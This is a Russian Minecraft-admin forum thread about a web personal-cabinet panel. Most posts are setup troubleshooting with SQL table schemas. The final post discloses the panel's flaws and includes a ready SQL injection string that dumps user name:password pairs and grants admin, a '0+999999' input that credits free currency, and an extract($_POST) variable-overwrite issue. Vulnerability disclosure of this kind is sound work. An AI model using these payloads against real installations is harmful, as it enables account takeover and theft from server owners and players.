Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
  • Данный раздел создан исключительно для релизов! Вопросы по лаунчеру или обвязке задавайте ТОЛЬКО в соответсвующей теме автора. Любые другие темы будут удалены, а авторы понесут наказание.

Веб Личный Кабинет v0.8.0

Помогите пожалуйста - как подключить этот ЛК к плагину с банами? У меня стоит Ultrabans, всю информацию он записывает в таблицу banlist, но лк, похоже, данные берет не оттуда, поскольку забаненым игрокам пишет, что они не в бане. Помогите пожалуйста настроить.
 
У меня почему ту index.php калеченый, не устанавливает лк, хотя на предыдущих версиях (0.2) все нормик работает, ну или фообще не знаю что за фигня
Access denied for user 'root'@'localhost' (using password: NO)
 
У меня почему ту index.php калеченый, не устанавливает лк, хотя на предыдущих версиях (0.2) все нормик работает, ну или фообще не знаю что за фигня

Проверяй правильно ли конфиг настроил.Ему не нравится лог пасс от Mysql
 
Помогите пожалуйста - как подключить этот ЛК к плагину с банами? У меня стоит Ultrabans, всю информацию он записывает в таблицу banlist, но лк, похоже, данные берет не оттуда, поскольку забаненым игрокам пишет, что они не в бане. Помогите пожалуйста настроить.​
 
Помогите пожалуйста - как подключить этот ЛК к плагину с банами? У меня стоит Ultrabans, всю информацию он записывает в таблицу banlist, но лк, похоже, данные берет не оттуда, поскольку забаненым игрокам пишет, что они не в бане. Помогите пожалуйста настроить.​

там структуры бд могут быть разными.а так он на таблицу banlist расчитан
 
Можешь пожалуйста с этим помочь?

вот структура таблицы banlust,figAdmin
  1. CREATE TABLE IF NOT EXISTS `banlist` (
  2. `name` varchar(32) NOT NULL,
  3. `reason` text NOT NULL,
  4. `admin` varchar(32) NOT NULL,
  5. `time` bigint(20) NOT NULL,
  6. `temptime` bigint(20) NOT NULL DEFAULT '0',
  7. `type` int(11) NOT NULL DEFAULT '0',
  8. `id` int(11) NOT NULL AUTO_INCREMENT,
  9. `ip` varchar(16) DEFAULT NULL,
  10. PRIMARY KEY (`id`) USING BTREE
  11. ) ENGINE=InnoDB DEFAULT CHARSET=latin1 ROW_FORMAT=DYNAMIC AUTO_INCREMENT=58 ;
    скорее всего поля с никами разные
 
вот структура таблицы banlust,figAdmin
  1. CREATE TABLE IF NOT EXISTS `banlist` (
  2. `name` varchar(32) NOT NULL,
  3. `reason` text NOT NULL,
  4. `admin` varchar(32) NOT NULL,
  5. `time` bigint(20) NOT NULL,
  6. `temptime` bigint(20) NOT NULL DEFAULT '0',
  7. `type` int(11) NOT NULL DEFAULT '0',
  8. `id` int(11) NOT NULL AUTO_INCREMENT,
  9. `ip` varchar(16) DEFAULT NULL,
  10. PRIMARY KEY (`id`) USING BTREE
  11. ) ENGINE=InnoDB DEFAULT CHARSET=latin1 ROW_FORMAT=DYNAMIC AUTO_INCREMENT=58 ;
    скорее всего поля с никами разные
CREATE TABLE IF NOT EXISTS `banlist` (
`name` varchar(32) NOT NULL,
`reason` text NOT NULL,
`admin` varchar(32) NOT NULL,
`time` bigint(20) NOT NULL,
`temptime` bigint(20) NOT NULL DEFAULT '0',
`type` int(11) NOT NULL DEFAULT '0',
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(16) DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=latin1 ROW_FORMAT=DYNAMIC AUTO_INCREMENT=53 ;

Вот мое, не нашел отличий.
 
CREATE TABLE IF NOT EXISTS `banlist` (
`name` varchar(32) NOT NULL,
`reason` text NOT NULL,
`admin` varchar(32) NOT NULL,
`time` bigint(20) NOT NULL,
`temptime` bigint(20) NOT NULL DEFAULT '0',
`type` int(11) NOT NULL DEFAULT '0',
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(16) DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE=InnoDB DEFAULT CHARSET=latin1 ROW_FORMAT=DYNAMIC AUTO_INCREMENT=53 ;

Вот мое, не нашел отличий.

странно...у меня всё нормально работает...
 
У меня проблемка выявилась...
Как исправить?
 

Вложения:

  • Безымянный.png
    Безымянный.png
    Размер файла
    3,6 КБ
    Просмотров
    87
@Andrey033,
Код:
CREATE TABLE IF NOT EXISTS `status_lk` (
            `id` int(11) NOT NULL AUTO_INCREMENT,
            `name` varchar(30) NOT NULL,
            `pex_name` varchar(30) NOT NULL,
            `price` int(11) NOT NULL,
            `price_cheap` int(11) NOT NULL,
            PRIMARY KEY (`id`)
            ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=17 ;
Код:
CREATE TABLE IF NOT EXISTS `ik_money` (
            `id` int(11) NOT NULL AUTO_INCREMENT,
            `name` varchar(255) NOT NULL,
            `money` INT NOT NULL DEFAULT  '0',
            UNIQUE KEY `id` (`id`)
            ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2;
 
Автору действительно плевать на уязвимости или он просто их не замечает?
Возможно баги/ошибки, но я не замечал.

function.php
строка 128:
PHP:
if(isset($_POST['getstatus'])) {
    $table_status_c = mysql_query("SELECT * FROM `status_lk` WHERE `id`='{$_POST['id_status']}'");
    $sl_k = mysql_fetch_assoc($table_status_c);
    if($slk['id'] != $member_id['group']) {
        if(mysql_num_rows($table_status_c) == 1) {
            if($member_id['money'] >= $sl_k['price']) {
                if($sl_k['price'] != -1) {
                    $message = 'Вы успешно приобрели статус <b>'.$sl_k['name'].'</b> до <b>'.$durations.'</b>! С вашего счета было списано <b>'.$sl_k['price'].'</b> рублей. <a href="'.$url_lk.'">Обновить страницу</a>';
                    $log = 'Игрок '.$username.' успешно купил статус '.$sl_k['name'].' на '.$days_status.' дней за '.$sl_k['price'].' рублей.';
                    mysql_query("INSERT INTO `permissions_inheritance` (`id`, `child`, `parent`, `type`, `world`) VALUES (NULL, '{$username}', '{$sl_k['pex_name']}', '1', NULL)",$sql);
                    mysql_query("UPDATE `dle_users` SET `money`=money - {$sl_k['price']}, `group`='{$sl_k['id']}', `duration`='{$duration}' WHERE `name`='{$username}';",$sql);
Одна простая строка сделает админом как на сайте, так и в игре -
-1' union select 0x2720757365725F67726F75703D2731 as `id`,(select concat_ws(0x3a,name,password) from dle_users limit 0,1) as `name`,0x61646D696E as `pex_name`,0,0 -- -

Строка 178:
PHP:
mysql_query("INSERT INTO `permissions_entity` VALUES (NULL, '{$username}', '1', '{$new_prefix}', '&{$_POST['msg_color']}', '0')");
Даёшь админские пароли прямо в префикс!

Строка 198:
Всем бабла, посоны!
PHP:
if(isset($_POST['exchange'])) {
if(in_array($member_id['group'],$exchange_ic_group) || (count($exchange_ic_group)>0 && $exchange_ic_group[0]=='')) {
$cource_ic_1 = $_POST['exchange_text']/$ic_course[1];
$pay_ic = ceil($cource_ic_1 * $ic_course[0]);
$exchange_text = $_POST['exchange_text'];
if($member_id['money'] >= $pay_ic) {
if(preg_match("|^([0-9]{1,6})$|is",$exchange_text) || strlen($exchange_text >= 1 && $exchange_text <= 7)) {
$message = 'Вы успешно обменяли <b>'.$pay_ic.' руб.</b> на <b>'.$exchange_text.' монет</b>! <a href="'.$url_lk.'">Обновить страницу</a>';
$log = 'Игрок '.$username.' обменял '.$pay_ic.' руб. на '.$exchange_text.' монет.';
mysql_query("UPDATE `dle_users` SET `money`=money-{$pay_ic} WHERE `name`='{$username}'");
mysql_query("UPDATE `$ic_table` SET `balance`=balance+{$exchange_text} WHERE `username`='{$username}'");

PHP:
$exchange_text = $_POST['exchange_text'] = '0+999999';
$ic_course[1] = 5;
$ic_course[0] = 8;
$member_id['money'] = 0;
 
$cource_ic_1 = $_POST['exchange_text']/$ic_course[1];
$pay_ic = ceil($cource_ic_1 * $ic_course[0]);
 
if($member_id['money'] >= $pay_ic) {
echo "cource_ic_1 = $cource_ic_1 <br />pay_ic = $pay_ic <br /> _POST['exchange_text'] = {$_POST['exchange_text']}<br />";
echo "mysql_query(\"UPDATE `\$ic_table` SET `balance`=balance+{$exchange_text} WHERE `username`='username'\");";
} else {
echo 'хрен';
}
Что выведет?
cource_ic_1 = 0
pay_ic = 0
_POST['exchange_text'] = 0+999999
mysql_query("UPDATE `$ic_table` SET `balance`=balance+0+999999 WHERE `username`='username'");

А вот самое интересное в файле lk/kassa/status.php -
PHP:
extract($_POST);
Что оно сделает? Правильно, перезапишет любую переменную, переданную через POST.
PHP:
$test1 = 'secret';
extract($_POST);
echo $test1;
// post test1=asdasd, echo - asdasd

Как результат - "заливка" денег и ещё одна скл-иньекция..
 

Поделиться этой страницей

Назад
Верх